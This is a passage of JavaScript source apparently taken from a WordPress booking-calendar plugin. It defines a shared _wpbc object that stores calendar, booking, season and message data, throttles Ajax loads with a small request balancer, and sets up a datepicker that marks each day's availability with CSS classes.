wpbc_clone_obj( obj ){ return JSON.parse( JSON.stringify( obj ) ); } /** * Main _wpbc JS object */ var _wpbc = (function ( obj, $) { // Secure parameters for Ajax ------------------------------------------------------------------------------------ var p_secure = obj.security_obj = obj.security_obj || { user_id: 0, nonce : '', locale : '' }; obj.set_secure_param = function ( param_key, param_val ) { p_secure[ param_key ] = param_val; }; obj.get_secure_param = function ( param_key ) { return p_secure[ param_key ]; }; // Calendars ---------------------------------------------------------------------------------------------------- var p_calendars = obj.calendars_obj = obj.calendars_obj || { // sort : "booking_id", // sort_type : "DESC", // page_num : 1, // page_items_count: 10, // create_date : "", // keyword : "", // source : "" }; /** * Check if calendar for specific booking resource defined :: true | false * * @param {string|int} resource_id * @returns {boolean} */ obj.calendar__is_defined = function ( resource_id ) { return ('undefined' !== typeof( p_calendars[ 'calendar_' + resource_id ] ) ); }; /** * Create Calendar initializing * * @param {string|int} resource_id */ obj.calendar__init = function ( resource_id ) { p_calendars[ 'calendar_' + resource_id ] = {}; p_calendars[ 'calendar_' + resource_id ][ 'id' ] = resource_id; p_calendars[ 'calendar_' + resource_id ][ 'pending_days_selectable' ] = false; }; /** * Check if the type of this property is INT * @param property_name * @returns {boolean} */ obj.calendar__is_prop_int = function ( property_name ) { //FixIn: 9.9.0.29 var p_calendar_int_properties = ['dynamic__days_min', 'dynamic__days_max', 'fixed__days_num']; var is_include = p_calendar_int_properties.includes( property_name ); return is_include; }; /** * Set params for all calendars * * @param {object} calendars_obj Object { calendar_1: {} } * calendar_3: {}, ... } */ obj.calendars_all__set = function ( calendars_obj ) { p_calendars = calendars_obj; }; /** * Get bookings in all calendars * * @returns {object|{}} */ obj.calendars_all__get = function () { return p_calendars; }; /** * Get calendar object :: { id: 1, … } * * @param {string|int} resource_id '2' * @returns {object|boolean} { id: 2 ,… } */ obj.calendar__get_parameters = function ( resource_id ) { if ( obj.calendar__is_defined( resource_id ) ){ return p_calendars[ 'calendar_' + resource_id ]; } else { return false; } }; /** * Set calendar object :: { dates: Object { "2023-07-21": {…}, "2023-07-22": {…}, "2023-07-23": {…}, … } * * if calendar object not defined, then it's will be defined and ID set * if calendar exist, then system set as new or overwrite only properties from calendar_property_obj parameter, but other properties will be existed and not overwrite, like 'id' * * @param {string|int} resource_id '2' * @param {object} calendar_property_obj { dates: Object { "2023-07-21": {…}, "2023-07-22": {…}, "2023-07-23": {…}, … } } * @param {boolean} is_complete_overwrite if 'true' (default: 'false'), then only overwrite or add new properties in calendar_property_obj * @returns {*} * * Examples: * * Common usage in PHP: * echo " _wpbc.calendar__set( " .intval( $resource_id ) . ", { 'dates': " . wp_json_encode( $availability_per_days_arr ) . " } );"; */ obj.calendar__set_parameters = function ( resource_id, calendar_property_obj, is_complete_overwrite = false ) { if ( (!obj.calendar__is_defined( resource_id )) || (true === is_complete_overwrite) ){ obj.calendar__init( resource_id ); } for ( var prop_name in calendar_property_obj ){ p_calendars[ 'calendar_' + resource_id ][ prop_name ] = calendar_property_obj[ prop_name ]; } return p_calendars[ 'calendar_' + resource_id ]; }; /** * Set property to calendar * @param resource_id "1" * @param prop_name name of property * @param prop_value value of property * @returns {*} calendar object */ obj.calendar__set_param_value = function ( resource_id, prop_name, prop_value ) { if ( (!obj.calendar__is_defined( resource_id )) ){ obj.calendar__init( resource_id ); } p_calendars[ 'calendar_' + resource_id ][ prop_name ] = prop_value; return p_calendars[ 'calendar_' + resource_id ]; }; /** * Get calendar property value :: mixed | null * * @param {string|int} resource_id '1' * @param {string} prop_name 'selection_mode' * @returns {*|null} mixed | null */ obj.calendar__get_param_value = function( resource_id, prop_name ){ if ( ( obj.calendar__is_defined( resource_id ) ) && ( 'undefined' !== typeof ( p_calendars[ 'calendar_' + resource_id ][ prop_name ] ) ) ){ //FixIn: 9.9.0.29 if ( obj.calendar__is_prop_int( prop_name ) ){ p_calendars[ 'calendar_' + resource_id ][ prop_name ] = parseInt( p_calendars[ 'calendar_' + resource_id ][ prop_name ] ); } return p_calendars[ 'calendar_' + resource_id ][ prop_name ]; } return null; // If some property not defined, then null; }; // ----------------------------------------------------------------------------------------------------------------- // Bookings ---------------------------------------------------------------------------------------------------- var p_bookings = obj.bookings_obj = obj.bookings_obj || { // calendar_1: Object { // id: 1 // , dates: Object { "2023-07-21": {…}, "2023-07-22": {…}, "2023-07-23": {…}, … // } }; /** * Check if bookings for specific booking resource defined :: true | false * * @param {string|int} resource_id * @returns {boolean} */ obj.bookings_in_calendar__is_defined = function ( resource_id ) { return ('undefined' !== typeof( p_bookings[ 'calendar_' + resource_id ] ) ); }; /** * Get bookings calendar object :: { id: 1 , dates: Object { "2023-07-21": {…}, "2023-07-22": {…}, "2023-07-23": {…}, … } * * @param {string|int} resource_id '2' * @returns {object|boolean} { id: 2 , dates: Object { "2023-07-21": {…}, "2023-07-22": {…}, "2023-07-23": {…}, … } */ obj.bookings_in_calendar__get = function( resource_id ){ if ( obj.bookings_in_calendar__is_defined( resource_id ) ){ return p_bookings[ 'calendar_' + resource_id ]; } else { return false; } }; /** * Set bookings calendar object :: { dates: Object { "2023-07-21": {…}, "2023-07-22": {…}, "2023-07-23": {…}, … } * * if calendar object not defined, then it's will be defined and ID set * if calendar exist, then system set as new or overwrite only properties from calendar_obj parameter, but other properties will be existed and not overwrite, like 'id' * * @param {string|int} resource_id '2' * @param {object} calendar_obj { dates: Object { "2023-07-21": {…}, "2023-07-22": {…}, "2023-07-23": {…}, … } } * @returns {*} * * Examples: * * Common usage in PHP: * echo " _wpbc.bookings_in_calendar__set( " .intval( $resource_id ) . ", { 'dates': " . wp_json_encode( $availability_per_days_arr ) . " } );"; */ obj.bookings_in_calendar__set = function( resource_id, calendar_obj ){ if ( ! obj.bookings_in_calendar__is_defined( resource_id ) ){ p_bookings[ 'calendar_' + resource_id ] = {}; p_bookings[ 'calendar_' + resource_id ][ 'id' ] = resource_id; } for ( var prop_name in calendar_obj ){ p_bookings[ 'calendar_' + resource_id ][ prop_name ] = calendar_obj[ prop_name ]; } return p_bookings[ 'calendar_' + resource_id ]; }; // Dates /** * Get bookings data for ALL Dates in calendar :: false | { "2023-07-22": {…}, "2023-07-23": {…}, … } * * @param {string|int} resource_id '1' * @returns {object|boolean} false | Object { "2023-07-24": Object { ['summary']['status_for_day']: "available", day_availability: 1, max_capacity: 1, … } "2023-07-26": Object { ['summary']['status_for_day']: "full_day_booking", ['summary']['status_for_bookings']: "pending", day_availability: 0, … } "2023-07-29": Object { ['summary']['status_for_day']: "resource_availability", day_availability: 0, max_capacity: 1, … } "2023-07-30": {…}, "2023-07-31": {…}, … } */ obj.bookings_in_calendar__get_dates = function( resource_id){ if ( ( obj.bookings_in_calendar__is_defined( resource_id ) ) && ( 'undefined' !== typeof ( p_bookings[ 'calendar_' + resource_id ][ 'dates' ] ) ) ){ return p_bookings[ 'calendar_' + resource_id ][ 'dates' ]; } return false; // If some property not defined, then false; }; /** * Set bookings dates in calendar object :: { "2023-07-21": {…}, "2023-07-22": {…}, "2023-07-23": {…}, … } * * if calendar object not defined, then it's will be defined and 'id', 'dates' set * if calendar exist, then system add a new or overwrite only dates from dates_obj parameter, * but other dates not from parameter dates_obj will be existed and not overwrite. * * @param {string|int} resource_id '2' * @param {object} dates_obj { "2023-07-21": {…}, "2023-07-22": {…}, "2023-07-23": {…}, … } * @param {boolean} is_complete_overwrite if false, then only overwrite or add dates from dates_obj * @returns {*} * * Examples: * _wpbc.bookings_in_calendar__set_dates( resource_id, { "2023-07-21": {…}, "2023-07-22": {…}, … } ); <- overwrite ALL dates * _wpbc.bookings_in_calendar__set_dates( resource_id, { "2023-07-22": {…} }, false ); <- add or overwrite only "2023-07-22": {} * * Common usage in PHP: * echo " _wpbc.bookings_in_calendar__set_dates( " . intval( $resource_id ) . ", " . wp_json_encode( $availability_per_days_arr ) . " ); "; */ obj.bookings_in_calendar__set_dates = function( resource_id, dates_obj , is_complete_overwrite = true ){ if ( !obj.bookings_in_calendar__is_defined( resource_id ) ){ obj.bookings_in_calendar__set( resource_id, { 'dates': {} } ); } if ( 'undefined' === typeof (p_bookings[ 'calendar_' + resource_id ][ 'dates' ]) ){ p_bookings[ 'calendar_' + resource_id ][ 'dates' ] = {} } if (is_complete_overwrite){ // Complete overwrite all booking dates p_bookings[ 'calendar_' + resource_id ][ 'dates' ] = dates_obj; } else { // Add only new or overwrite exist booking dates from parameter. Booking dates not from parameter will be without chnanges for ( var prop_name in dates_obj ){ p_bookings[ 'calendar_' + resource_id ]['dates'][ prop_name ] = dates_obj[ prop_name ]; } } return p_bookings[ 'calendar_' + resource_id ]; }; /** * Get bookings data for specific date in calendar :: false | { day_availability: 1, ... } * * @param {string|int} resource_id '1' * @param {string} sql_class_day '2023-07-21' * @returns {object|boolean} false | { day_availability: 4 max_capacity: 4 // >= Business Large 2: Object { is_day_unavailable: false, _day_status: "available" } 10: Object { is_day_unavailable: false, _day_status: "available" } // >= Business Large ... 11: Object { is_day_unavailable: false, _day_status: "available" } 12: Object { is_day_unavailable: false, _day_status: "available" } } */ obj.bookings_in_calendar__get_for_date = function( resource_id, sql_class_day ){ if ( ( obj.bookings_in_calendar__is_defined( resource_id ) ) && ( 'undefined' !== typeof ( p_bookings[ 'calendar_' + resource_id ][ 'dates' ] ) ) && ( 'undefined' !== typeof ( p_bookings[ 'calendar_' + resource_id ][ 'dates' ][ sql_class_day ] ) ) ){ return p_bookings[ 'calendar_' + resource_id ][ 'dates' ][ sql_class_day ]; } return false; // If some property not defined, then false; }; // Any PARAMS in bookings /** * Set property to booking * @param resource_id "1" * @param prop_name name of property * @param prop_value value of property * @returns {*} booking object */ obj.booking__set_param_value = function ( resource_id, prop_name, prop_value ) { if ( ! obj.bookings_in_calendar__is_defined( resource_id ) ){ p_bookings[ 'calendar_' + resource_id ] = {}; p_bookings[ 'calendar_' + resource_id ][ 'id' ] = resource_id; } p_bookings[ 'calendar_' + resource_id ][ prop_name ] = prop_value; return p_bookings[ 'calendar_' + resource_id ]; }; /** * Get booking property value :: mixed | null * * @param {string|int} resource_id '1' * @param {string} prop_name 'selection_mode' * @returns {*|null} mixed | null */ obj.booking__get_param_value = function( resource_id, prop_name ){ if ( ( obj.bookings_in_calendar__is_defined( resource_id ) ) && ( 'undefined' !== typeof ( p_bookings[ 'calendar_' + resource_id ][ prop_name ] ) ) ){ return p_bookings[ 'calendar_' + resource_id ][ prop_name ]; } return null; // If some property not defined, then null; }; /** * Set bookings for all calendars * * @param {object} calendars_obj Object { calendar_1: { id: 1, dates: Object { "2023-07-22": {…}, "2023-07-23": {…}, "2023-07-24": {…}, … } } * calendar_3: {}, ... } */ obj.bookings_in_calendars__set_all = function ( calendars_obj ) { p_bookings = calendars_obj; }; /** * Get bookings in all calendars * * @returns {object|{}} */ obj.bookings_in_calendars__get_all = function () { return p_bookings; }; // ----------------------------------------------------------------------------------------------------------------- // Seasons ---------------------------------------------------------------------------------------------------- var p_seasons = obj.seasons_obj = obj.seasons_obj || { // calendar_1: Object { // id: 1 // , dates: Object { "2023-07-21": {…}, "2023-07-22": {…}, "2023-07-23": {…}, … // } }; /** * Add season names for dates in calendar object :: { "2023-07-21": [ 'wpbc_season_september_2023', 'wpbc_season_september_2024' ], "2023-07-22": [...], ... } * * * @param {string|int} resource_id '2' * @param {object} dates_obj { "2023-07-21": {…}, "2023-07-22": {…}, "2023-07-23": {…}, … } * @param {boolean} is_complete_overwrite if false, then only add dates from dates_obj * @returns {*} * * Examples: * _wpbc.seasons__set( resource_id, { "2023-07-21": [ 'wpbc_season_september_2023', 'wpbc_season_september_2024' ], "2023-07-22": [...], ... } ); */ obj.seasons__set = function( resource_id, dates_obj , is_complete_overwrite = false ){ if ( 'undefined' === typeof (p_seasons[ 'calendar_' + resource_id ]) ){ p_seasons[ 'calendar_' + resource_id ] = {}; } if ( is_complete_overwrite ){ // Complete overwrite all season dates p_seasons[ 'calendar_' + resource_id ] = dates_obj; } else { // Add only new or overwrite exist booking dates from parameter. Booking dates not from parameter will be without chnanges for ( var prop_name in dates_obj ){ if ( 'undefined' === typeof (p_seasons[ 'calendar_' + resource_id ][ prop_name ]) ){ p_seasons[ 'calendar_' + resource_id ][ prop_name ] = []; } for ( var season_name_key in dates_obj[ prop_name ] ){ p_seasons[ 'calendar_' + resource_id ][ prop_name ].push( dates_obj[ prop_name ][ season_name_key ] ); } } } return p_seasons[ 'calendar_' + resource_id ]; }; /** * Get bookings data for specific date in calendar :: [] | [ 'wpbc_season_september_2023', 'wpbc_season_september_2024' ] * * @param {string|int} resource_id '1' * @param {string} sql_class_day '2023-07-21' * @returns {object|boolean} [] | [ 'wpbc_season_september_2023', 'wpbc_season_september_2024' ] */ obj.seasons__get_for_date = function( resource_id, sql_class_day ){ if ( ( 'undefined' !== typeof ( p_seasons[ 'calendar_' + resource_id ] ) ) && ( 'undefined' !== typeof ( p_seasons[ 'calendar_' + resource_id ][ sql_class_day ] ) ) ){ return p_seasons[ 'calendar_' + resource_id ][ sql_class_day ]; } return []; // If not defined, then []; }; // Other parameters ------------------------------------------------------------------------------------ var p_other = obj.other_obj = obj.other_obj || { }; obj.set_other_param = function ( param_key, param_val ) { p_other[ param_key ] = param_val; }; obj.get_other_param = function ( param_key ) { return p_other[ param_key ]; }; /** * Get all other params * * @returns {object|{}} */ obj.get_other_param__all = function () { return p_other; }; // Messages ------------------------------------------------------------------------------------ var p_messages = obj.messages_obj = obj.messages_obj || { }; obj.set_message = function ( param_key, param_val ) { p_messages[ param_key ] = param_val; }; obj.get_message = function ( param_key ) { return p_messages[ param_key ]; }; /** * Get all other params * * @returns {object|{}} */ obj.get_messages__all = function () { return p_messages; }; // ----------------------------------------------------------------------------------------------------------------- return obj; }( _wpbc || {}, jQuery )); /** * Extend _wpbc with new methods //FixIn: 9.8.6.2 * * @type {*|{}} * @private */ _wpbc = (function ( obj, $) { // Load Balancer ----------------------------------------------------------------------------------------------- var p_balancer = obj.balancer_obj = obj.balancer_obj || { 'max_threads': 2, 'in_process' : [], 'wait' : [] }; /** * Set max parallel request to load * * @param max_threads */ obj.balancer__set_max_threads = function ( max_threads ){ p_balancer[ 'max_threads' ] = max_threads; }; /** * Check if balancer for specific booking resource defined :: true | false * * @param {string|int} resource_id * @returns {boolean} */ obj.balancer__is_defined = function ( resource_id ) { return ('undefined' !== typeof( p_balancer[ 'balancer_' + resource_id ] ) ); }; /** * Create balancer initializing * * @param {string|int} resource_id */ obj.balancer__init = function ( resource_id, function_name , params ={}) { var balance_obj = {}; balance_obj[ 'resource_id' ] = resource_id; balance_obj[ 'priority' ] = 1; balance_obj[ 'function_name' ] = function_name; balance_obj[ 'params' ] = wpbc_clone_obj( params ); if ( obj.balancer__is_already_run( resource_id, function_name ) ){ return 'run'; } if ( obj.balancer__is_already_wait( resource_id, function_name ) ){ return 'wait'; } if ( obj.balancer__can_i_run() ){ obj.balancer__add_to__run( balance_obj ); return 'run'; } else { obj.balancer__add_to__wait( balance_obj ); return 'wait'; } }; /** * Can I Run ? * @returns {boolean} */ obj.balancer__can_i_run = function (){ return ( p_balancer[ 'in_process' ].length < p_balancer[ 'max_threads' ] ); } /** * Add to WAIT * @param balance_obj */ obj.balancer__add_to__wait = function ( balance_obj ) { p_balancer['wait'].push( balance_obj ); } /** * Remove from Wait * * @param resource_id * @param function_name * @returns {*|boolean} */ obj.balancer__remove_from__wait_list = function ( resource_id, function_name ){ var removed_el = false; if ( p_balancer[ 'wait' ].length ){ //FixIn: 9.8.10.1 for ( var i in p_balancer[ 'wait' ] ){ if ( (resource_id === p_balancer[ 'wait' ][ i ][ 'resource_id' ]) && (function_name === p_balancer[ 'wait' ][ i ][ 'function_name' ]) ){ removed_el = p_balancer[ 'wait' ].splice( i, 1 ); removed_el = removed_el.pop(); p_balancer[ 'wait' ] = p_balancer[ 'wait' ].filter( function ( v ){ return v; } ); // Reindex array return removed_el; } } } return removed_el; } /** * Is already WAIT * * @param resource_id * @param function_name * @returns {boolean} */ obj.balancer__is_already_wait = function ( resource_id, function_name ){ if ( p_balancer[ 'wait' ].length ){ //FixIn: 9.8.10.1 for ( var i in p_balancer[ 'wait' ] ){ if ( (resource_id === p_balancer[ 'wait' ][ i ][ 'resource_id' ]) && (function_name === p_balancer[ 'wait' ][ i ][ 'function_name' ]) ){ return true; } } } return false; } /** * Add to RUN * @param balance_obj */ obj.balancer__add_to__run = function ( balance_obj ) { p_balancer['in_process'].push( balance_obj ); } /** * Remove from RUN list * * @param resource_id * @param function_name * @returns {*|boolean} */ obj.balancer__remove_from__run_list = function ( resource_id, function_name ){ var removed_el = false; if ( p_balancer[ 'in_process' ].length ){ //FixIn: 9.8.10.1 for ( var i in p_balancer[ 'in_process' ] ){ if ( (resource_id === p_balancer[ 'in_process' ][ i ][ 'resource_id' ]) && (function_name === p_balancer[ 'in_process' ][ i ][ 'function_name' ]) ){ removed_el = p_balancer[ 'in_process' ].splice( i, 1 ); removed_el = removed_el.pop(); p_balancer[ 'in_process' ] = p_balancer[ 'in_process' ].filter( function ( v ){ return v; } ); // Reindex array return removed_el; } } } return removed_el; } /** * Is already RUN * * @param resource_id * @param function_name * @returns {boolean} */ obj.balancer__is_already_run = function ( resource_id, function_name ){ if ( p_balancer[ 'in_process' ].length ){ //FixIn: 9.8.10.1 for ( var i in p_balancer[ 'in_process' ] ){ if ( (resource_id === p_balancer[ 'in_process' ][ i ][ 'resource_id' ]) && (function_name === p_balancer[ 'in_process' ][ i ][ 'function_name' ]) ){ return true; } } } return false; } obj.balancer__run_next = function (){ // Get 1st from Wait list var removed_el = false; if ( p_balancer[ 'wait' ].length ){ //FixIn: 9.8.10.1 for ( var i in p_balancer[ 'wait' ] ){ removed_el = obj.balancer__remove_from__wait_list( p_balancer[ 'wait' ][ i ][ 'resource_id' ], p_balancer[ 'wait' ][ i ][ 'function_name' ] ); break; } } if ( false !== removed_el ){ // Run obj.balancer__run( removed_el ); } } /** * Run * @param balance_obj */ obj.balancer__run = function ( balance_obj ){ switch ( balance_obj[ 'function_name' ] ){ case 'wpbc_calendar__load_data__ajx': // Add to run list obj.balancer__add_to__run( balance_obj ); wpbc_calendar__load_data__ajx( balance_obj[ 'params' ] ) break; default: } } return obj; }( _wpbc || {}, jQuery )); /** * -- Help functions ---------------------------------------------------------------------------------------------- */ function wpbc_balancer__is_wait( params, function_name ){ //console.log('::wpbc_balancer__is_wait',params , function_name ); if ( 'undefined' !== typeof (params[ 'resource_id' ]) ){ var balancer_status = _wpbc.balancer__init( params[ 'resource_id' ], function_name, params ); return ( 'wait' === balancer_status ); } return false; } function wpbc_balancer__completed( resource_id , function_name ){ //console.log('::wpbc_balancer__completed',resource_id , function_name ); _wpbc.balancer__remove_from__run_list( resource_id, function_name ); _wpbc.balancer__run_next(); } /** * ===================================================================================================================== * includes/__js/cal/wpbc_cal.js * ===================================================================================================================== */ /** * Order or child booking resources saved here: _wpbc.booking__get_param_value( resource_id, 'resources_id_arr__in_dates' ) [2,10,12,11] */ /** * How to check booked times on specific date: ? * _wpbc.bookings_in_calendar__get_for_date(2,'2023-08-21'); console.log( _wpbc.bookings_in_calendar__get_for_date(2,'2023-08-21')[2].booked_time_slots.merged_seconds, _wpbc.bookings_in_calendar__get_for_date(2,'2023-08-21')[10].booked_time_slots.merged_seconds, _wpbc.bookings_in_calendar__get_for_date(2,'2023-08-21')[11].booked_time_slots.merged_seconds, _wpbc.bookings_in_calendar__get_for_date(2,'2023-08-21')[12].booked_time_slots.merged_seconds ); * OR console.log( _wpbc.bookings_in_calendar__get_for_date(2,'2023-08-21')[2].booked_time_slots.merged_readable, _wpbc.bookings_in_calendar__get_for_date(2,'2023-08-21')[10].booked_time_slots.merged_readable, _wpbc.bookings_in_calendar__get_for_date(2,'2023-08-21')[11].booked_time_slots.merged_readable, _wpbc.bookings_in_calendar__get_for_date(2,'2023-08-21')[12].booked_time_slots.merged_readable ); * */ /** * Days selection: * wpbc_calendar__unselect_all_dates( resource_id ); * * var resource_id = 1; * Example 1: var num_selected_days = wpbc_auto_select_dates_in_calendar( resource_id, '2024-05-15', '2024-05-25' ); * Example 2: var num_selected_days = wpbc_auto_select_dates_in_calendar( resource_id, ['2024-05-09','2024-05-19','2024-05-25'] ); * */ /** * C A L E N D A R --------------------------------------------------------------------------------------------------- */ /** * Show WPBC Calendar * * @param resource_id - resource ID * @returns {boolean} */ function wpbc_calendar_show( resource_id ){ // If no calendar HTML tag, then exit if ( 0 === jQuery( '#calendar_booking' + resource_id ).length ){ return false; } // If the calendar with the same Booking resource is activated already, then exit. if ( true === jQuery( '#calendar_booking' + resource_id ).hasClass( 'hasDatepick' ) ){ return false; } // ----------------------------------------------------------------------------------------------------------------- // Days selection // ----------------------------------------------------------------------------------------------------------------- var local__is_range_select = false; var local__multi_days_select_num = 365; // multiple | fixed if ( 'dynamic' === _wpbc.calendar__get_param_value( resource_id, 'days_select_mode' ) ){ local__is_range_select = true; local__multi_days_select_num = 0; } if ( 'single' === _wpbc.calendar__get_param_value( resource_id, 'days_select_mode' ) ){ local__multi_days_select_num = 0; } // ----------------------------------------------------------------------------------------------------------------- // Min - Max days to scroll/show // ----------------------------------------------------------------------------------------------------------------- var local__min_date = 0; local__min_date = new Date( _wpbc.get_other_param( 'today_arr' )[ 0 ], (parseInt( _wpbc.get_other_param( 'today_arr' )[ 1 ] ) - 1), _wpbc.get_other_param( 'today_arr' )[ 2 ], 0, 0, 0 ); //FixIn: 9.9.0.17 //console.log( local__min_date ); var local__max_date = _wpbc.calendar__get_param_value( resource_id, 'booking_max_monthes_in_calendar' ); //local__max_date = new Date(2024, 5, 28); It is here issue of not selectable dates, but some dates showing in calendar as available, but we can not select it. //// Define last day in calendar (as a last day of month (and not date, which is related to actual 'Today' date). //// E.g. if today is 2023-09-25, and we set 'Number of months to scroll' as 5 months, then last day will be 2024-02-29 and not the 2024-02-25. // var cal_last_day_in_month = jQuery.datepick._determineDate( null, local__max_date, new Date() ); // cal_last_day_in_month = new Date( cal_last_day_in_month.getFullYear(), cal_last_day_in_month.getMonth() + 1, 0 ); // local__max_date = cal_last_day_in_month; //FixIn: 10.0.0.26 if ( ( location.href.indexOf('page=wpbc-new') != -1 ) && ( location.href.indexOf('booking_hash') != -1 ) // Comment this line for ability to add booking in past days at Booking > Add booking page. ){ local__min_date = null; local__max_date = null; } var local__start_weekday = _wpbc.calendar__get_param_value( resource_id, 'booking_start_day_weeek' ); var local__number_of_months = parseInt( _wpbc.calendar__get_param_value( resource_id, 'calendar_number_of_months' ) ); jQuery( '#calendar_booking' + resource_id ).text( '' ); // Remove all HTML in calendar tag // ----------------------------------------------------------------------------------------------------------------- // Show calendar // ----------------------------------------------------------------------------------------------------------------- jQuery('#calendar_booking'+ resource_id).datepick( { beforeShowDay: function ( js_date ){ return wpbc__calendar__apply_css_to_days( js_date, {'resource_id': resource_id}, this ); }, onSelect: function ( string_dates, js_dates_arr ){ /** * string_dates = '23.08.2023 - 26.08.2023' | '23.08.2023 - 23.08.2023' | '19.09.2023, 24.08.2023, 30.09.2023' * js_dates_arr = range: [ Date (Aug 23 2023), Date (Aug 25 2023)] | multiple: [ Date(Oct 24 2023), Date(Oct 20 2023), Date(Oct 16 2023) ] */ return wpbc__calendar__on_select_days( string_dates, {'resource_id': resource_id}, this ); }, onHover: function ( string_date, js_date ){ return wpbc__calendar__on_hover_days( string_date, js_date, {'resource_id': resource_id}, this ); }, onChangeMonthYear: function ( year, real_month, js_date__1st_day_in_month ){ }, showOn : 'both', numberOfMonths: local__number_of_months, stepMonths : 1, prevText : '«', nextText : '»', dateFormat : 'dd.mm.yy', changeMonth : false, changeYear : false, minDate : local__min_date, maxDate : local__max_date, // '1Y', // minDate: new Date(2020, 2, 1), maxDate: new Date(2020, 9, 31), // Ability to set any start and end date in calendar showStatus : false, multiSeparator : ', ', closeAtTop : false, firstDay : local__start_weekday, gotoCurrent : false, hideIfNoPrevNext: true, multiSelect : local__multi_days_select_num, rangeSelect : local__is_range_select, // showWeeks: true, useThemeRoller: false } ); // ----------------------------------------------------------------------------------------------------------------- // Clear today date highlighting // ----------------------------------------------------------------------------------------------------------------- setTimeout( function (){ wpbc_calendars__clear_days_highlighting( resource_id ); }, 500 ); //FixIn: 7.1.2.8 // ----------------------------------------------------------------------------------------------------------------- // Scroll calendar to specific month // ----------------------------------------------------------------------------------------------------------------- var start_bk_month = _wpbc.calendar__get_param_value( resource_id, 'calendar_scroll_to' ); if ( false !== start_bk_month ){ wpbc_calendar__scroll_to( resource_id, start_bk_month[ 0 ], start_bk_month[ 1 ] ); } } /** * Apply CSS to calendar date cells * * @param date - JavaScript Date Obj: Mon Dec 11 2023 00:00:00 GMT+0200 (Eastern European Standard Time) * @param calendar_params_arr - Calendar Settings Object: { * "resource_id": 4 * } * @param datepick_this - this of datepick Obj * @returns {(*|string)[]|(boolean|string)[]} - [ {true -available | false - unavailable}, 'CSS classes for calendar day cell' ] */ function wpbc__calendar__apply_css_to_days( date, calendar_params_arr, datepick_this ){ var today_date = new Date( _wpbc.get_other_param( 'today_arr' )[ 0 ], (parseInt( _wpbc.get_other_param( 'today_arr' )[ 1 ] ) - 1), _wpbc.get_other_param( 'today_arr' )[ 2 ], 0, 0, 0 ); // Today JS_Date_Obj. var class_day = wpbc__get__td_class_date( date ); // '1-9-2023' var sql_class_day = wpbc__get__sql_class_date( date ); // '2023-01-09' var resource_id = ( 'undefined' !== typeof(calendar_params_arr[ 'resource_id' ]) ) ? calendar_params_arr[ 'resource_id' ] : '1'; // '1' // Get Data -------------------------------------------------------------------------------------------------------- var date_bookings_obj = _wpbc.bookings_in_calendar__get_for_date( resource_id, sql_class_day ); // Array with CSS classes for date --------------------------------------------------------------------------------- var css_classes__for_date = []; css_classes__for_date.push( 'sql_date_' + sql_class_day ); // 'sql_date_2023-07-21' css_classes__for_date.push( 'cal4date-' + class_day ); // 'cal4date-7-21-2023' css_classes__for_date.push( 'wpbc_weekday_' + date.getDay() ); // 'wpbc_weekday_4' var is_day_selectable = false; // If something not defined, then this date closed --------------------------------------------------------------- if ( false === date_bookings_obj ){ css_classes__for_date.push( 'date_user_unavailable' ); return [ is_day_selectable, css_classes__for_date.join(' ') ]; } // ----------------------------------------------------------------------------------------------------------------- // date_bookings_obj - Defined. Dates can be selectable. // ----------------------------------------------------------------------------------------------------------------- // ----------------------------------------------------------------------------------------------------------------- // Add season names to the day CSS classes -- it is required for correct work of conditional fields -------------- var season_names_arr = _wpbc.seasons__get_for_date( resource_id, sql_class_day ); for ( var season_key in season_names_arr ){ css_classes__for_date.push( season_names_arr[ season_key ] ); // 'wpdevbk_season_september_2023' } // ----------------------------------------------------------------------------------------------------------------- // Cost Rate ------------------------------------------------------------------------------------------------------- css_classes__for_date.push( 'rate_' + date_bookings_obj[ resource_id ][ 'date_cost_rate' ].toString().replace( /[\.\s]/g, '_' ) ); // 'rate_99_00' -> 99.00 if ( parseInt( date_bookings_obj[ 'day_availability' ] ) > 0 ){ is_day_selectable = true; css_classes__for_date.push( 'date_available' ); css_classes__for_date.push( 'reserved_days_count' + parseInt( date_bookings_obj[ 'max_capacity' ] - date_bookings_obj[ 'day_availability' ] ) ); } else { is_day_selectable = false; css_classes__for_date.push( 'date_user_unavailable' ); } switch ( date_bookings_obj[ 'summary']['status_for_day' ] ){ case 'available': break; case 'time_slots_booking': css_classes__for_date.push( 'timespartly', 'times_clock' ); break; case 'full_day_booking': css_classes__for_date.push( 'full_day_booking' ); break; case 'season_filter': css_classes__for_date.push( 'date_user_unavailable', 'season_unavailable' ); date_bookings_obj[ 'summary']['status_for_bookings' ] = ''; // Reset booking status color for possible old bookings on this date break; case 'resource_availability': css_classes__for_date.push( 'date_user_unavailable', 'resource_unavailable' ); date_bookings_obj[ 'summary']['status_for_bookings' ] = ''; // Reset booking status color for possible old bookings on this date break; case 'weekday_unavailable': css_classes__for_date.push( 'date_user_unavailable', 'weekday_unavailable' ); date_bookings_obj[ 'summary']['status_for_bookings' ] = ''; // Reset booking status color for possible old bookings on this date break; case 'from_today_unavailable': css_classes__for_date.push( 'date_user_unavailable', 'from_today_unavailable' ); date_bookings_obj[ 'summary']['status_for_bookings' ] = ''; // Reset booking status color for possible old bookings on this date break; case 'limit_available_from_today': css_classes__for_date.push( 'date_user_unavailable', 'limit_available_from_today' ); date_bookings_obj[ 'summary']['status_for_bookings' ] = ''; // Reset booking status color for possible old bookings on this date break; case 'change_over': /* * // check_out_time_date2approve check_in_time_date2approve // check_out_time_date2approve check_in_time_date_approved // check_in_time_date2approve check_out_time_date_approved // check_out_time_date_approved check_in_time_date_approved */ css_classes__for_date.push( 'timespartly', 'check_in_time', 'check_out_time' ); //FixIn: 10.0.0.2 if ( date_bookings_obj[ 'summary' ][ 'status_for_bookings' ].indexOf( 'approved_pending' ) > -1 ){ css_classes__for_date.push( 'check_out_time_date_approved', 'check_in_time_date2approve' ); } if ( date_bookings_obj[ 'summary' ][ 'status_for_bookings' ].indexOf( 'pending_approved' ) > -1 ){ css_classes__for_date.push( 'check_out_time_date2approve', 'check_in_time_date_approved' ); } break; case 'check_in': css_classes__for_date.push( 'timespartly', 'check_in_time' ); //FixIn: 9.9.0.33 if ( date_bookings_obj[ 'summary' ][ 'status_for_bookings' ].indexOf( 'pending' ) > -1 ){ css_classes__for_date.push( 'check_in_time_date2approve' ); } else if ( date_bookings_obj[ 'summary' ][ 'status_for_bookings' ].indexOf( 'approved' ) > -1 ){ css_classes__for_date.push( 'check_in_time_date_approved' ); } break; case 'check_out': css_classes__for_date.push( 'timespartly', 'check_out_time' ); //FixIn: 9.9.0.33 if ( date_bookings_obj[ 'summary' ][ 'status_for_bookings' ].indexOf( 'pending' ) > -1 ){ css_classes__for_date.push( 'check_out_time_date2approve' ); } else if 